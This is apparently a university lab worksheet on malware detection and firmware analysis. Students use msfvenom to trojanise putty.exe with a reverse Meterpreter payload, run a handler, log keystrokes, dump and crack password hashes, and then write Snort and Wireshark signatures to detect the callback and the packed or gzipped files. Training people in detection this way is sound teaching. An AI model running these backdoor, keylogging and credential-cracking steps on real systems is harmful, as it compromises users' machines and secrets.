Lab 7: Malware Detection and Firmware

Setup: http://asecuritysite.com/csn10107/prep Allocation A
Demo: https://youtu.be/1t2nrxpf3iw

A Introduction

1. An intruder can use Metasploit to modify an executable program. In the first example we will modify the putty.exe program. First, on your Kali machine, download putty.exe:

```
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
```

2. Next we can inject some backdoor code into the EXE with:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[KALI_IP] LPORT=443 -e
x86/shikata_ga_nai -f exe -i 3 -k -x putty.exe > puttyx.exe
```

This will create a reverse meterpreter payload when the user runs the program. The output is puttyx.exe

3. Next move your two putty EXEs (putty.exe and puttyx.exe) to the /var/www folder:

```
cp putty* /var/www
```

4. Now start the Web server on Kali with:

```
/etc/init.d/apache2 start
```

Next, on your Windows 2003 instance. Access the Web server of your Kali instance.

What is the home page message:

Now download the **putty.exe** and **puttyx.exe** programs from the Kali Web site to the Windows 2003 machine, and run **puttyx.exe** and **putty.exe**.

Do they run normally:

On Kali, run **binwalk** on both files, and outline the difference between the files:

On Kali, using md5sum, determine the MD5 signature for **putty.exe** and **puttyx.exe**:

5. Now on your Kali machine, setup the exploit:

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [KALI_IP]
LHOST => 10.200.0.20
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit
```

Now re-run the **puttyx.exe** program. What message appears on the Kali machine when the program runs:

6. From the Meterpreter, perform the following

```
meterpreter > getuid
```

Output:

Now, implement a keystroke capture command in Meterpreter, and ask your lab partner to type in a secret phrase and see if you can determine it.

What was the phrase:

Now get your lab partner to store a file in the top level folder on the Windows 2003 instances and put a secret message in there.

What is the secret message:

Now capture a **hashdump**, and use John the Ripper to crack the passwords. Which passwords have been cracked:

7. **On Windows 2003, download Hex Editor Neo.**

Compare the hex dump of **putty.exe** and **puttyx.exe**. What are the main differences:

B Detecting malware with Snort for network connection

Now we will use Snort to detect the connection that the malware makes back to the Kali instance.

8. **First we will test the Snort detector. For this, create a file 1.rules using:**

https://dl.dropboxusercontent.com/u/40355863/1.txt

```
preprocessor stream5_global: track_tcp yes, \
track_udp yes, \
track_icmp no, \
max_tcp 262144, \
max_udp 131072, \
max_active_responses 2, \
min_response_seconds 5
preprocessor stream5_tcp: policy windows, detect_anomalies, require_3whs 180, \
overlap_limit 10, small_segments 3 bytes 150, timeout 180, \
ports client 21 22 23 25 42 53 70 79 109 110 111 113 119 135 136 137 139 143 \
161 445 513 514 587 593 691 1433 1521 1741 2100 3306 6070 6665 6666 6667 6668 6669 \
7000 8181 32770 32771 32772 32773 32774 32775 32776 32777 32778 32779, \
ports both 80 81 82 83 84 85 86 87 88 89 90 110 311 383 443 465 563 591 593 631 636 901 989
992 993 994 995 1220 1414 1830 2301 2381 2809 3037 3057 3128 3443 3702 4343 4848 5250 6080 6988
7907 7000 7001 7144 7145 7510 7802 7777 7779 \
7801 7900 7901 7902 7903 7904 7905 7906 7908 7909 7910 7911 7912 7913 7914 7915 7916 \
7917 7918 7919 7920 8000 8008 8014 8028 8080 8085 8088 8090 8118 8123 8180 8222 8243 8280 8300
8500 8800 8888 8899 9000 9060 9080 9090 9091 9443 9999 10000 11371 34443 34444 41080 50000
50002 55555
preprocessor stream5_udp: timeout 180
```

alert tcp any any -> any 443 (msg:"Malware";sid:10000)

9. **Now run Snort on Windows 2003 with:**

```
snort –i 1 –c 1.rules
```

10. **Now repeat the exploit, so that Kali listens for the connection, and you run the puttyx.exe program.**

Did Snort detect the connection?

What are the details of the alert?

11. Now run Wireshark on Windows 2003 and repeat Step 10. Capture the trace.

Can you capture a hex or ASCII sequence which identifies the malware calling back:

12. Now implement an improved Snort rule which detects the content within the connection on Port 443, and repeat:

content:"YOURSTRING";

or:

content:"| HEX |";

What is the rule implemented: Does it detect the call back?

C Detecting malware with Snort in the payload

Now we will use Snort to detect **putty.exe** and **puttyx.exe** in the payload.

13. Run Wireshark on Windows 2003, and re-download the putty.exe and puttyx.exe files (remember we are using Port 80 to transfer).

Can you define a signature to uniquely identify **putty.exe**: Can you define a signature to uniquely identify **puttyx.exe**:

14. Now implement two Snort rules, which detect putty.exe and puttyx.exe and see if you can detect them being downloaded onto the Windows 2003 machine:

Alert for putty.exe Alert for puttyx.exe:

D Hiding content

15. An intruder can hide the EXE using a packer.

On Kali, determine the MD5 signature and file size for putty.exe:

On Kali, now run **upx**, and determine the MD5 signature and file size for putty.exe:

On Windows 2003, download the updated **putty.exe** program, and see if you can run the EXE on Windows 2003. Did it run okay?

Run your Snort detector. Did it detect it?

On Kali, which option can you use to unpack your packed EXE?

Use this option to unpack the EXE, and check the file size and MD5 signature:

16. An intruder can hide the EXE's in a Gzip file. Now using gzip to compress the EXEs, and rewrite your Snort rules to detect the download onto the Windows 2003 instance:

What are the rules:

Refer to http://asecuritysite.com/forensics/magic for details on Gzip.

E Examining Firmware

There can be a great deal of information that can be gained from examining the firmware of a device. On Kali, download this firmware:

https://dl.dropboxusercontent.com/u/40355863/51.3.0.152.rar

First examine the firmware with binwalk:

```
binwalk 51.3.0.152.bin
```

Which folders are contained in the firmware:

Next, on Kali, extract to a ZIP file and then extract the image:

```
dd bs=1 skip=36  if=51.3.0.152.bin of=image.zip
unzip image.zip
```

Now find the daemon.v5.5 file in the folders created, and list its contents with:

```
cat daemon.v5.5
```

Can you locate the line with /etc/password?

Can you extract the /etc/password entry and use John the Ripper to determine the password:

Use the following commands to determine some information:

```
cat /proc/version
cat /proc/cpuinfo
```

OS Version:

CPU Type:

Find the ipcam.sh file and determine which processes it starts: